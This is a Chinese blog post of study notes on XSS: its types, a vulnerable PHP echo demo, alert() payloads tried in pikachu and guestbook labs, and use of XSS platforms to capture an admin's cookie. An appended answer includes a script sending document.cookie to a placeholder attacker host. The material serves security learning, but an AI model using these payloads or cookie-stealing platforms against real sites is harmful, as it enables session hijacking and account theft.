Web漏洞-Xss跨站

25、Xss跨站之原理分类及攻击方法

原理

XSS 跨站漏洞产生原理,危害,特点?

本质,产生层面,函数类,漏洞操作对应层,危害影响,浏览器内核版本等

本质

跨站脚本攻击是指攻击者往Web页面里插入恶意Script代码,当用户浏览该页时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击的目的

产生层面

前端

函数类

输出类函数

常见的输出函数有: echo printf print print_r sprintf die var-dump var_export

漏洞操作对应层

前端

危害影响

受Javascript代码影响

浏览器内核版本等

浏览器安全策略可能会阻止Js脚本执行

XSS 跨站漏洞分类:反射,存储,DOM

从产生层面,具体区别,危害等级等讲解

反射型:发包 x= xss => x.php => 回包(用后端语言进行数据处理)

存储型:发包 x=xss => x.php =>写到数据库某个表 => x.php => 回显

dom型:发包 x=xss => 本地浏览器静态前端代码 =x.php

用js代码进行处理

反射,又叫非持续型

是一个交互的过程,通过特别的包含Js代码的访问,使页面执行相应的Js代码

需要访问特定内容,或访问特定的链接才可以触发

存储,又叫持续型

与反射型相比,访问提交的Js代码被储存进了网站的数据库

每一个访问该页面的人都会触发代码执行,危害更大

DOM

文档对象模型(Document Object Model),简称DOM,代码在前端,常用于更新当前页面

客户端的脚本程序可以通过DOM动态地检查和修改页面内容,且不依赖与服务器端的交互,而是从客户端获得DOM中的数据在本地执行

如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞

DOM型一般属于反射型

测试代码:#' oncli删掉这串汉字ck="alert(2)">

上传有长度限制

如果输入的信息会上传到地址栏。可以直接在地址栏输入

审查元素,修改“maxlength”也就是长度限制


XSS 常规攻击手法:

平台,工具,结合其他等

利用案例:通过在线留言、在线下单等功能进行跨站攻击,窃取管理员的cookie,登陆后台

cookie session

用户凭据:通过凭据可以判断对方身份信息

cookie 存储在本地 存活时间较长 小中型

session 会话 存储在服务器 存活时间较短 大型 

00x01 js**执行**

Js是浏览器执行的前端语言,用户在存在xss漏洞的站点url后者能输入数据的部分插入js语言,服务器接收到此数据,认为是js代码,从而返回的时候执行。因此,攻击者可利用这个漏洞对站点插入任意js代码进行窃取用户的信息。

00x02 xss**攻击**

XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。

对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。

00x03 XSS**攻击的危害**

  • 1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
  • 2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  • 3、盗窃企业重要的具有商业价值的资料
  • 4、非法转账
  • 5、强制发送电子邮件
  • 6、网站挂马
  • 7、控制受害者机器向其它网站发起攻击(重定向语句)
  • 8、窃取cookie的sessionid,冒充登录。

XSS攻击利用到最大就需要自己有台服务器用于窃取信息,还要利用一点社工,骗取别人点击恶意的链接。

00x04 XSS**漏洞的分类**

1.DOM**型(不经过服务器,前端js代码的利用):**

本地利用漏洞,这种漏洞存在于页面中客户端脚本自身。其攻击过程如下所示:

Alice给Bob发送一个恶意构造了Web的URL

Bob点击并查看了这个URL。

恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在Bob电脑上。

具有漏洞的HTML页面包含了在Bob电脑本地域执行的JavaScript。

Alice的恶意脚本可以在Bob的电脑上执行Bob所持有的权限下的命令。

2.反射型:

这种漏洞和类型A有些类似,不同的是Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中。

其攻击过程如下:

Alice经常浏览某个网站,此网站为Bob所拥有。Bob的站点运行Alice使用用户名/密码进行登录,并存储敏感信息(比如银行帐户信息)。

Charly发现Bob的站点包含反射性的XSS漏洞。

Charly编写一个利用漏洞的URL,并将其冒充为来自Bob的邮件发送给Alice。

Alice在登录到Bob的站点后,浏览Charly提供的URL。

嵌入到URL中的恶意脚本在Alice的浏览器中执行,就像它直接来自Bob的服务器一样。此脚本盗窃敏感信息(授权、信用卡、帐号信息等)然后在Alice完全不知情的情况下将这些信息发送到Charly的Web站点。

3.存储型(长久型,危害最大):

该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞,骇客将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄漏的可能,其中也包括了Web服务器的管理员。其攻击过程如下:

Bob拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。

Charly注意到Bob的站点具有类型C的XSS漏洞。

Charly发布一个热点信息,吸引其它用户纷纷阅读。

Bob或者是任何的其他人如Alice浏览该信息,其会话cookies或者其它信息将被Charly盗走。

类型A直接威胁用户个体,而类型B和类型C所威胁的对象都是企业级Web应用。

一、本地环境XSS,漏洞原理讲解

在phpstudy中根目录创建1.php

<?php

$xss=$_GET['x'];

echo $xss;

?>

浏览器打开,在网址后输入?x=1,网页输出1

输入?x=<script>alert(1)</script>,弹出1

---XSS的本质:如果对方对参数进行回显,传递的参数的的代码就会被回显者的浏览器执行。即对文件显示过程出现了问题。

---本质为前端漏洞,一般执行为js代码,因此危害不大。
#执行效果跟浏览器的版本有关

---ie浏览器,弹窗被拦截


#查看网页源代码(发现被修改了)

---产生与网页前端

 

二、Xss漏洞各个分类差异讲解

利用pikachu靶场

1.反射型XSS(GET)

随意输入字母,发现下面出现了这段字母,网址中也出现了,这段就是输入代码的地方

可以直接在网址message=后输入<script>alert(1)</script>,弹出1

 也可以在输入框中输入<script>alert(1)</script>,但是有长度限制,这里右键检查,更改代码中的maxlength长度,再重新输入弹出1

 2.存储型

在留言板随意输入内容,发现显示在留言列表中,直接在留言板中添加<script>alert(1)</script>,弹出1,与反射型的区别是,每次刷新都会弹出1

 

 

3.Dom

-应用场景:在这种存在查看更多,点击查看更多之后,网站的URL并不会改变。和其它换页不同的是,其它是通过改变URL编号来换页的。 

DOM型xss-x

 随意输入,点击按钮

 然乎点击蓝字内容,出现了另一段话

查看网站源代码

 直接在前端Javascript里执行了

Dom型xss

在输入框输入#'οnclick="alert(1)"> ,出现以下内容点击

出现弹窗1

 三、Xss漏洞代码绕过靶场应用

随意留言板

在phpstudy中搭建

然后在浏览器中打开http://10.245.4.79/liuyanban,进行相应留言,在留言板中输入<BODY οnlοad="alert('XSS')">

管理员地址http://10.245.4.79/liuyanban/index.php?c=admin&a=index

管理员账号admin,密码admin888

查看留言,点击管理留言

 弹出xss弹窗

 四、XSS平台及工具简要演示测试

1.手动实操

登录xss平台

 创建项目,输入名称和描述

 点击超强默认模块

查看代码

选择一个代码输入到留言板中,一个不行换另一

输入到留言板中

  管理员查看出现弹窗

 右键点击检查查看网络所有,发现有 在xss平台上设置项目的地址。

  查看xss平台,按理说应该有cookie,没有可能是浏览器问题或者平台问题,换条命令可以试试

 这里从网络抓包中假设获取到cookie

 可以利用Burp suite抓包更改cookie

模块应用基础认证钓鱼模块

点击项目配置选择这个模块复制代码,重新在留言板中提交

 

本地查看代码效果,创建一个1.html输入代码

在浏览器查看 啥也没有不建议使用

2.项目展示

 这里浏览器输入值下面也就显示了,符合跨站漏洞条件

输入语句,弹出1 

 项目勾选读取cookie,可以把创建项目代码,输入到这里

需要先登陆后台,盗取登陆的cookie

查看项目,接收到cookie

资源

xss平台:https://xss8.cc/xss.php?do=login

xss平台:https://xsshs.cn/xss.php?do=login

xss-labs:https://github.com/do0dl3/xss-labs

随意多功能留言板 SyGuestBook:http://down.chinaz.com/soft/37581.htm 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
XSS跨站脚本攻击)是一种常见的Web攻击,攻击者通过注入恶意脚本代码,使得用户在访问网站时受到攻击,例如窃取用户的敏感信息、篡改页面内容等。在实操中,我们可以通过以下步骤来演示XSS攻击: 1. 编写一个简单的HTML页面 ``` <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>XSS Demo</title> </head> <body> <h1>XSS Demo</h1> <p id="content">This is a demo page.</p> <script> var name = prompt('Please enter your name:'); document.getElementById('content').innerHTML = 'Hello, ' + name + '!'; </script> </body> </html> ``` 这个页面包含一个简单的JavaScript脚本,会提示用户输入名字并将其显示在页面上。 2. 将页面上传到一个Web服务器,并复制页面的URL。 3. 打开一个浏览器窗口,并在地址栏中粘贴页面的URL。页面会被正常加载并显示。 4. 在地址栏中添加以下代码片段并回车: ``` <script>alert('XSS');</script> ``` 此时,页面会弹出一个对话框,显示“XSS”。 5. 再次在地址栏中添加以下代码片段并回车: ``` <script>document.getElementById('content').innerHTML = '<img src="http://your-malicious-website.com/?cookie=' + document.cookie + '"/>';</script> ``` 这个恶意脚本会将用户的cookie信息发送到攻击者的网站。攻击者可以利用这些信息进行Session劫持等攻击。 通过以上步骤,我们可以简单地演示XSS攻击的危害和实现过程。在实际应用中,为了防止XSS攻击,我们需要对输入进行严格的过滤和转义,以保证用户的安全
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

DDdd...

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值